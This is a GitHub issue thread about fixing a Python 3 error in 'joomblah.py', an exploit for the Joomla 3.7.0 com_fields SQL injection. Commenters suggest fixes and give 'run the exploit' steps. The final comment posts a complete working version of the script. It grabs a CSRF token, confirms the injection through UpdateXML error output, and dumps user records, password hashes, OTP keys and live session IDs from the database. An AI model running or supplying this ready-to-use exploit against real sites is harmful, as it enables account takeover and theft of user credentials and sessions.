Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Can only concatenate str #17

Open
ghost opened this issue Apr 25, 2020 · 10 comments · May be fixed by #22
Open

Can only concatenate str #17

ghost opened this issue Apr 25, 2020 · 10 comments · May be fixed by #22

Comments

@ghost
Copy link

ghost commented Apr 25, 2020

python joomblah.py http://10.xx.xx.xx.

Traceback (most recent call last):
File "joomblah.py", line 186, in
sys.exit(main("http://IP:8080/joomla"))
File "joomblah.py", line 183, in main
pwn_joomla_again(options)
File "joomblah.py", line 147, in pwn_joomla_again
tables = extract_joomla_tables(options, sess, token)
File "joomblah.py", line 74, in extract_joomla_tables
result = joomla_370_sqli_extract(options, sess, token, "TABLE_NAME", "FROM information_schema.tables WHERE TABLE_NAME LIKE 0x257573657273 LIMIT " + str(offset) + ",1" )
File "joomblah.py", line 46, in joomla_370_sqli_extract
result += value
TypeError: can only concatenate str (not "bytes") to str

@somesh-bhandarkar
Copy link

Try explicitly casting the variable.
eg. result += str(value)

@stempst0r
Copy link

stempst0r commented Sep 22, 2020

Try explicitly casting the variable.
eg. result += str(value)

Changing this, the script runs without an error, but the output is not satisfying at all. It looks like something is missing/cut off:


python3 joomblah.py http://10.XXX.XXX.XXX/
[-] Fetching CSRF token
 [-] Testing SQLi
  -  Found table: b'fb9j5_users'
  -  Extracting users from b'fb9j5_users'
  -  Extracting sessions from b'fb9j5_usession

@samjain2907
Copy link

Getting the same error!

@mild0wl
Copy link

mild0wl commented Oct 22, 2020

Do any one found the solution.

@Scytex
Copy link

Scytex commented Oct 24, 2020

Run the script using python2 instead of python3
if you get an error message about a missing request module, install it via pip.

@0xhsn
Copy link

0xhsn commented Nov 8, 2020

  1. Install pip with Python2.7
    curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
    python2.7 get-pip.py
  2. Install the "requests" module
    python2.7 -m pip install requests
  3. Run the exploit
    python2.7 joomblah.py <IP>

@mats-codes
Copy link

Had the same issue. Created a pull request which contains a python3-compatible joombla.py file.

#18

@owaisqaa
Copy link

owaisqaa commented May 8, 2021

1.Install pip with Python2.7
### curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py

python2.7 get-pip.py

2.Install the "requests" module

python2.7 -m pip install requests

3.Run the exploit
### python2.7 joomblah.py

Thanks timyc00k i just changed the first step.

@theperrinpages
Copy link

  1. Install pip with Python2.7
    curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
    python2.7 get-pip.py
  2. Install the "requests" module
    python2.7 -m pip install requests
  3. Run the exploit
    python2.7 joomblah.py <IP>

solved.. thanks

@mosecund
Copy link

mosecund commented Aug 3, 2024

This should work :


#!/usr/bin/python
from __future__ import print_function
import requests
import sys
import re
import argparse
import os
import random
import time
import binascii

def extract_token(resp):
    match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
    if match is None:
        print(" [!] Cannot find CSRF token")
        return None
    return match.group(1)

def parse_options():
    parser = argparse.ArgumentParser(description='Jooma Exploit')
    parser.add_argument('url', help='Base URL for Joomla site')
    return parser.parse_args()

def build_sqli(colname, morequery):
    return "(SELECT " + colname + " " + morequery + ")"

def joomla_370_sqli_extract(options, sess, token, colname, morequery):
    sqli = build_sqli("LENGTH("+colname+")", morequery)
    length = joomla_370_sqli(options, sess, token, sqli)
    if not length:
        return None
    length = int(length)
    maxbytes = 30
    offset = 0
    result = ''
    while length > offset:
        sqli = build_sqli("HEX(MID(%s,%d,%d))" % (colname, offset + 1, 16), morequery)
        value = joomla_370_sqli(options, sess, token, sqli)
        if not value:
            print(" [!] Failed to retrieve string for query:", sqli)
            return None
        value = binascii.unhexlify(value).decode('utf-8')  # Decode bytes to string
        result += value
        offset += len(value)
    return result

def joomla_370_sqli(options, sess, token, sqli):
    sqli_full = "UpdateXML(2, concat(0x3a," + sqli + ", 0x3a), 1)"
    data = {
        'option': 'com_fields',
        'view': 'fields',
        'layout': 'modal',
        'list[fullordering]': sqli_full,
        token: '1',
    }
    resp = sess.get(options.url + "/index.php?option=com_fields&view=fields&layout=modal", params=data, allow_redirects=False)
    match = re.search(r'XPATH syntax error:\s*&#039;([^$\n]+)\s*&#039;\s*</bl', resp.text, re.S)
    if match:
        match = match.group(1).strip()
        if match[0] != ':' and match[-1] != ':':
            return None
        return match[1:-1]

def extract_joomla_tables(options, sess, token):
    tables = list()
    first = False
    offset = 0
    while True:
        result = joomla_370_sqli_extract(options, sess, token, "TABLE_NAME", "FROM information_schema.tables WHERE TABLE_NAME LIKE 0x257573657273 LIMIT " + str(offset) + ",1" )
        if result is None:
            if first:
                print("[!] Failed to retrieve first table name!")
                return False
            break
        tables.append(result)
        print("  -  Found table:", result)
        first = False
        offset += 1
    return tables

def extract_joomla_users(options, sess, token, table_name):
    users = list()
    offset = 0
    first = False
    print("  -  Extracting users from", table_name)
    while True:
        result = joomla_370_sqli_extract(options, sess, token, "CONCAT(id,0x7c,name,0x7c,username,0x7c,email,0x7c,password,0x7c,otpKey,0x7c,otep)", "FROM %s ORDER BY registerDate ASC LIMIT %d,1" % (table_name, offset) )        
        if result is None:
            if first:
                print("[!] Failed to retrieve user from table!")
                return False
            break
        result = result.split('|')
        print(" [$] Found user",result)
        first = False
        offset += 1
        users.append(result)
    return users

def extract_joomla_sessions(options, sess, token, table_name):
    sessions = list()
    offset = 0
    first = False
    print("  -  Extracting sessions from", table_name)
    while True:
        result = joomla_370_sqli_extract(options, sess, token, "CONCAT(userid,0x7c,session_id,0x7c,username)", "FROM %s WHERE guest = 0 LIMIT %d,1" % (table_name, offset) )        
        if result is None:
            if first:
                print("[!] Failed to retrieve session from table!")
                return False
            break
        result = result.split('|')
        print(" [$] Found session", result)
        first = False
        offset += 1
        sessions.append(result)
    return sessions

def pwn_joomla_again(options):
    sess = requests.Session()

    print(" [-] Fetching CSRF token")
    resp = sess.get(options.url + "/index.php/component/users/?view=login")
    token = extract_token(resp)
    if not token:
        return False

    # Verify that we can perform SQLi
    print(" [-] Testing SQLi")    
    result = joomla_370_sqli(options, sess, token, "128+127")    
    if result != "255":
        print(" [!] Could not find SQLi output!")
        return False

    tables = extract_joomla_tables(options, sess, token)

    for table_name in tables:
        table_prefix = table_name[:-5]
        extract_joomla_users(options, sess, token, table_name)
        extract_joomla_sessions(options, sess, token, table_prefix + 'session')

    return True

def print_logo():
    clear = "\x1b[0m"
    colors = [31, 32, 33, 34, 35, 36]

    logo = """                                                                                                                    
    .---.    .-'''-.        .-'''-.                                                           
    |   |   '   _    \     '   _    \                            .---.                        
    '---' /   /` '.   \  /   /` '.   \  __  __   ___   /|        |   |            .           
    .---..   |     \  ' .   |     \  ' |  |/  `.'   `. ||        |   |          .'|           
    |   ||   '      |  '|   '      |  '|   .-.  .-.   '||        |   |         <  |           
    |   |\    \     / / \    \     / / |  |  |  |  |  |||  __    |   |    __    | |           
    |   | `.   ` ..' /   `.   ` ..' /  |  |  |  |  |  |||/'__ '. |   | .:--.'.  | | .'''-.    
    |   |    '-...-'`       '-...-'`   |  |  |  |  |  ||:/`  '. '|   |/ |   \ | | |/.'''. \   
    |   |                              |  |  |  |  |  |||     | ||   |`" __ | | |  /    | |   
    |   |                              |__|  |__|  |__|||\    / '|   | .'.''| | | |     | |   
 __.'   '                                              |/\'..' / '---'/ /   | |_| |     | |   
|      '                                               '  `'-'`       \ \._,\ '/| '.    | '.  
|____.'                                                                `--'  `" '---'   '---' 
"""
    for line in logo.split("\n"):
        sys.stdout.write("\x1b[1;%dm%s%s\n" % (random.choice(colors), line, clear))
        #time.sleep(0.05)

def main(base_url):    
    options = parse_options()
    options.url = options.url.rstrip('/')
    print_logo()
    pwn_joomla_again(options)

if __name__ == "__main__":
    sys.exit(main("http://192.168.10.100:8080/joomla"))

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

10 participants